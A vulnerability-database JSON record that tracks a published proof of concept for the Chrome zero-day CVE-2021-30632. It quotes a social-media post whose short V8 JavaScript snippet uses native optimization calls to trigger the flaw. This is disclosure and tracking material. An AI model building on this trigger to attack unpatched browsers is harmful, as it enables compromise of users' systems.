{"uuid": "fed7058d-fbb6-4cbb-b7c9-b5aba1bd368c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7095", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 CVE-2021-30632: Chrome Zero-day PoC\n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();\n\nSource: Twitter | 0day sniper", "creation_timestamp": "2021-09-15T08:38:30.000000Z"}